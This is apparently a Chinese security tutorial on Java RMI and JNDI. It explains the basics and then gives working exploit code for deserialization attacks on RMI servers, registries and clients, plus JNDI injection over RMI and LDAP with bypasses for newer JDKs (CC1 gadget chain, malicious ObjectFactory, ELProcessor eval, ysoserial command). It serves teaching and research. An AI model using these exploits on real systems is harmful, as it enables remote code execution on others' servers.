JAVA小白入门基础篇—初探RMI和JNDI
字数 2127 2025-08-23 18:31:34

Java RMI与JNDI安全研究

1. RMI基础

1.1 RMI概述

RMI(Remote Method Invocation)即远程方法调用,允许一个JVM中的Java程序调用另一台远程JVM中运行的Java程序。RMI架构包含三个核心组件:

  • Server(服务端):绑定远程对象
  • Registry(注册中心):提供服务注册与服务获取
  • Client(客户端):调用服务端的方法

1.2 RMI运行流程

  1. Server在Registry端bind即将被调用的远程对象
  2. Client根据rmi://连接到Registry,查找所需对象
  3. 如果存在,Registry返回Server端的rmi://地址和端口
  4. Client根据地址和端口连接Server端,调用远程对象上的方法
  5. Server执行远程对象的方法,将结果返回给Client

1.3 RMI开发示例

1.3.1 接口定义

public interface Remoteobj extends Remote {
    public String SayHello(String key) throws RemoteException;
}

要求:

  1. 远程接口作用域必须为public
  2. 必须继承Remote接口
  3. 接口方法必须抛出RemoteException异常

1.3.2 接口实现类

public class RemoteObjImpl extends UnicastRemoteObject implements Remoteobj {
    public RemoteObjImpl() throws RemoteException {}
    
    @Override
    public String SayHello(String key) throws RemoteException {
        System.out.println(key);
        return key;
    }
}

要求:

  1. 实现远程接口
  2. 继承UnicastRemoteObject类(用于生成Stub和Skeleton)
  3. 构造函数需要抛出RemoteException
  4. 实现类中使用的对象必须都可序列化(继承java.io.Serializable)

1.3.3 注册远程对象

public class RMIServer {
    public static void main(String[] args) throws Exception {
        Remoteobj remoteobj = new RemoteObjImpl();
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.bind("qwq", remoteobj);
    }
}

1.3.4 客户端调用

public class RMIClient {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        Remoteobj remoteobj = (Remoteobj) registry.lookup("qwq");
        String res = remoteobj.SayHello("test");
        System.out.println(res);
    }
}

2. RMI安全漏洞

2.1 攻击服务端

攻击原理
当客户端获取到服务端创建的Stub后,会在本地调用这个Stub并传递参数,Stub会序列化这个参数并传递给Server端。如果参数是Object类型,Client可以传给Server端任意的类,可能导致反序列化漏洞。

攻击条件

  1. JDK版本1.7
  2. 使用有漏洞的Commons-Collections 3.1组件
  3. RMI提供的数据有Object类型

漏洞服务端示例

public class AttackServer {
    public class RemoteHelloWorld extends UnicastRemoteObject implements Remoteobj {
        protected RemoteHelloWorld() throws RemoteException { super(); }
        
        @Override
        public String SayHello(String key) throws RemoteException {
            System.out.println("调用了SayHello");
            return null;
        }
        
        public void evil(Object obj) throws RemoteException {
            System.out.println("调用了evil方法,传递对象为:" + obj);
        }
    }
    
    private void start() throws Exception {
        RemoteHelloWorld h = new RemoteHelloWorld();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
    }
    
    public static void main(String[] args) throws Exception {
        new AttackServer().start();
    }
}

攻击客户端示例

public class RMIClient {
    public static void main(String args[]) throws Exception {
        Remoteobj r = (Remoteobj) Naming.lookup("rmi://127.0.0.1:1099/Hello");
        r.evil(getpayload());
    }
    
    public static Object getpayload() throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, 
                                 new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, 
                                 new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, 
                                 new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put("value", "lala");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
}

2.2 利用codebase执行命令

codebase概念
java.rmi.server.codebase是一个地址,告诉JVM应该从哪个地方去搜索类,类似于CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL(如http、ftp)。

加载远程类条件

  1. 需要安装RMISecurityManager并配置java.security.policy
  2. 属性java.rmi.server.useCodebaseOnly的值必须为false

限制
JDK 6u45、7u21之后,java.rmi.server.useCodebaseOnly默认为true,无法自动加载远程类文件。

2.3 攻击注册中心

注册中心与客户端交互的方法:

  • list
  • bind
  • rebind
  • unbind
  • lookup

这些方法位于RegistryImpl_Skel#dispatch中,如果对传入的对象调用readObject()方法,则可能被利用。

2.3.1 bind/rebind攻击

public class AtttackRegistry {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        InvocationHandler handler = (InvocationHandler) getpayload();
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
            Remote.class.getClassLoader(), new Class[]{Remote.class}, handler));
        registry.bind("test", r);
    }
    
    public static Object getpayload() throws Exception {
        // 同上CC1 payload构造
    }
}

2.3.2 lookup攻击

public class AttackLookup {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        InvocationHandler handler = (InvocationHandler) getpayload();
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
            Remote.class.getClassLoader(), new Class[]{Remote.class}, handler));
        
        // 获取ref
        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
        
        //获取operations
        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);
        
        // 伪造lookup的代码
        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(r);
        ref.invoke(var2);
    }
    
    // CC1 payload构造同上
}

2.4 攻击客户端

2.4.1 注册中心攻击客户端

使用工具生成恶意数据作为注册中心:

java -cp .\ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 calc

客户端代码:

public class Client {
    public static void main(String[] args) throws RemoteException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        registry.list();
    }
}

2.4.2 服务端攻击客户端

方法1:服务端返回Object对象

// 服务端
public class UserServer extends UnicastRemoteObject implements User {
    protected UserServer() throws RemoteException { super(); }
    
    @Override
    public Object getUser() throws Exception {
        // 构造恶意Object对象
        return instance;
    }
}

// 客户端
public class RMIClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        User user = (User) registry.lookup("qwq");
        user.getUser(); // 触发反序列化
    }
}

方法2:远程加载对象(同codebase攻击)

3. JNDI基础

3.1 JNDI概述

JNDI(Java Naming and Directory Interface)即Java名称与目录接口,可以理解为名字到对象的绑定。JNDI包含四个服务:

  1. LDAP:轻量级目录访问协议
  2. CORBA:通用对象请求代理架构
  3. RMI:Java远程方法调用
  4. DNS:域名服务

3.2 JNDI核心类

  • InitialContext:初始上下文

    • bind():将名称绑定到对象
    • list():枚举绑定的名称
    • lookup():检索命名对象
    • rebind():重新绑定名称到对象
    • unbind():取消绑定
  • Reference:表示在命名/目录系统外部找到的对象的引用

3.3 JNDI代码示例

3.3.1 JNDI结合RMI

// 服务端
public class RMIServer {
    public class RMIHello extends UnicastRemoteObject implements IHello {
        protected RMIHello() throws RemoteException { super(); }
        
        @Override
        public String sayHello(String name) throws RemoteException {
            System.out.println("Hello World!");
            return name;
        }
    }
    
    private void register() throws Exception {
        RMIHello rmiHello = new RMIHello();
        LocateRegistry.createRegistry(1099);
        Naming.bind("rmi://127.0.0.1:1099/hello", rmiHello);
    }
}

// 客户端
public class JndiTest {
    public static void main(String[] args) throws NamingException, RemoteException {
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
        
        InitialContext initialContext = new InitialContext(env);
        IHello iHello =(IHello) initialContext.lookup("hello");
        System.out.println(iHello.sayHello("quan9i"));
    }
}

3.3.2 JNDI结合DNS

public class DNSClient {
    public static void main(String[] args) {
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
        env.put(Context.PROVIDER_URL, "dns://114.114.114.114");
        
        try {
            DirContext ctx = new InitialDirContext(env);
            Attributes res = ctx.getAttributes("quan9i.top", new String[]{"A"});
            System.out.println(res);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

4. JNDI注入漏洞

4.1 JNDI+RMI注入

攻击代码

// 服务端
public class RMI_Server_Reference {
    void register() throws Exception {
        LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("RMIHello", "RMIHello", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
        Naming.bind("rmi://127.0.0.1:1099/hello", refObjWrapper);
    }
}

// 恶意类
public class RMIHello extends UnicastRemoteObject implements ObjectFactory {
    public RMIHello() throws RemoteException {
        super();
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, 
                                  Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

// 客户端
public class RMI_Client {
    public static void main(String[] args) throws Exception {
        String string = "rmi://localhost:1099/hello";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(string);
    }
}

修复
JDK 8u121中修复,lookup()方法被设置为只可以对本地进行调用。

4.2 JNDI+LDAP注入

攻击代码

// 服务端
public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";
    
    public static void main(String[] tmp_args) {
        String[] args = new String[]{"http://127.0.0.1/#EvilObject"};
        int port = 1234;
        
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                "listen", InetAddress.getByName("0.0.0.0"), port, 
                ServerSocketFactory.getDefault(), SocketFactory.getDefault(), 
                (SSLSocketFactory) SSLSocketFactory.getDefault()));
            
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            ds.startListening();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        
        public OperationInterceptor(URL cb) { this.codebase = cb; }
        
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }
        }
        
        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) 
            throws Exception {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

// 客户端
public class RMI_Client {
    public static void main(String[] args) throws Exception {
        String string = "ldap://localhost:1234/remoteObj";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(string);
    }
}

高版本限制
JDK 11.0.1、8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase默认为false。

4.3 绕过高版本JDK限制

4.3.1 使用本地Reference Factory类

条件

  1. 恶意Factory类必须实现javax.naming.spi.ObjectFactory接口
  2. 实现getObjectInstance()方法

攻击示例

// 服务端
public class RMI_Server_ByPass {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true,
                        "org.apache.naming.factory.BeanFactory", null);
        resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
        resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("Object", referenceWrapper);
    }
}

// 客户端
public class RMI_Client {
    public static void main(String[] args) throws Exception {
        String string = "rmi://localhost:1099/Object";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(string);
    }
}

4.3.2 LDAP反序列化攻击

使用序列化payload替换javaSerializeData属性:

// 服务端
public class LDAP_Server_ByPass_Serialize {
    private static final String LDAP_BASE = "dc=example,dc=com";
    
    public static void main(String[] tmp_args) {
        String[] args = new String[]{"http://127.0.0.1/#EXP"};
        int port = 9999;
        
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                "listen", InetAddress.getByName("0.0.0.0"), port, 
                ServerSocketFactory.getDefault(), SocketFactory.getDefault(), 
                (SSLSocketFactory) SSLSocketFactory.getDefault()));
            
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            ds.startListening();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) 
            throws Exception {
            e.addAttribute("javaClassName", "foo");
            e.addAttribute("javaSerializedData", Base64.getDecoder().decode("rO0ABXN..."));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

// 客户端
public class JNDIGadgetClient {
    public static void main(String[] args) throws Exception {
        Context context = new InitialContext();
        context.lookup("ldap://localhost:9999/EXP");
    }
}
Java RMI与JNDI安全研究 1. RMI基础 1.1 RMI概述 RMI(Remote Method Invocation)即远程方法调用,允许一个JVM中的Java程序调用另一台远程JVM中运行的Java程序。RMI架构包含三个核心组件: Server(服务端) :绑定远程对象 Registry(注册中心) :提供服务注册与服务获取 Client(客户端) :调用服务端的方法 1.2 RMI运行流程 Server在Registry端bind即将被调用的远程对象 Client根据rmi://连接到Registry,查找所需对象 如果存在,Registry返回Server端的rmi://地址和端口 Client根据地址和端口连接Server端,调用远程对象上的方法 Server执行远程对象的方法,将结果返回给Client 1.3 RMI开发示例 1.3.1 接口定义 要求: 远程接口作用域必须为public 必须继承Remote接口 接口方法必须抛出RemoteException异常 1.3.2 接口实现类 要求: 实现远程接口 继承UnicastRemoteObject类(用于生成Stub和Skeleton) 构造函数需要抛出RemoteException 实现类中使用的对象必须都可序列化(继承java.io.Serializable) 1.3.3 注册远程对象 1.3.4 客户端调用 2. RMI安全漏洞 2.1 攻击服务端 攻击原理 : 当客户端获取到服务端创建的Stub后,会在本地调用这个Stub并传递参数,Stub会序列化这个参数并传递给Server端。如果参数是Object类型,Client可以传给Server端任意的类,可能导致反序列化漏洞。 攻击条件 : JDK版本1.7 使用有漏洞的Commons-Collections 3.1组件 RMI提供的数据有Object类型 漏洞服务端示例 : 攻击客户端示例 : 2.2 利用codebase执行命令 codebase概念 : java.rmi.server.codebase是一个地址,告诉JVM应该从哪个地方去搜索类,类似于CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL(如http、ftp)。 加载远程类条件 : 需要安装RMISecurityManager并配置java.security.policy 属性java.rmi.server.useCodebaseOnly的值必须为false 限制 : JDK 6u45、7u21之后,java.rmi.server.useCodebaseOnly默认为true,无法自动加载远程类文件。 2.3 攻击注册中心 注册中心与客户端交互的方法: list bind rebind unbind lookup 这些方法位于RegistryImpl_ Skel#dispatch中,如果对传入的对象调用readObject()方法,则可能被利用。 2.3.1 bind/rebind攻击 2.3.2 lookup攻击 2.4 攻击客户端 2.4.1 注册中心攻击客户端 使用工具生成恶意数据作为注册中心: 客户端代码: 2.4.2 服务端攻击客户端 方法1:服务端返回Object对象 方法2:远程加载对象(同codebase攻击) 3. JNDI基础 3.1 JNDI概述 JNDI(Java Naming and Directory Interface)即Java名称与目录接口,可以理解为名字到对象的绑定。JNDI包含四个服务: LDAP:轻量级目录访问协议 CORBA:通用对象请求代理架构 RMI:Java远程方法调用 DNS:域名服务 3.2 JNDI核心类 InitialContext :初始上下文 bind():将名称绑定到对象 list():枚举绑定的名称 lookup():检索命名对象 rebind():重新绑定名称到对象 unbind():取消绑定 Reference :表示在命名/目录系统外部找到的对象的引用 3.3 JNDI代码示例 3.3.1 JNDI结合RMI 3.3.2 JNDI结合DNS 4. JNDI注入漏洞 4.1 JNDI+RMI注入 攻击代码 : 修复 : JDK 8u121中修复,lookup()方法被设置为只可以对本地进行调用。 4.2 JNDI+LDAP注入 攻击代码 : 高版本限制 : JDK 11.0.1、8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase默认为false。 4.3 绕过高版本JDK限制 4.3.1 使用本地Reference Factory类 条件 : 恶意Factory类必须实现javax.naming.spi.ObjectFactory接口 实现getObjectInstance()方法 攻击示例 : 4.3.2 LDAP反序列化攻击 使用序列化payload替换javaSerializeData属性: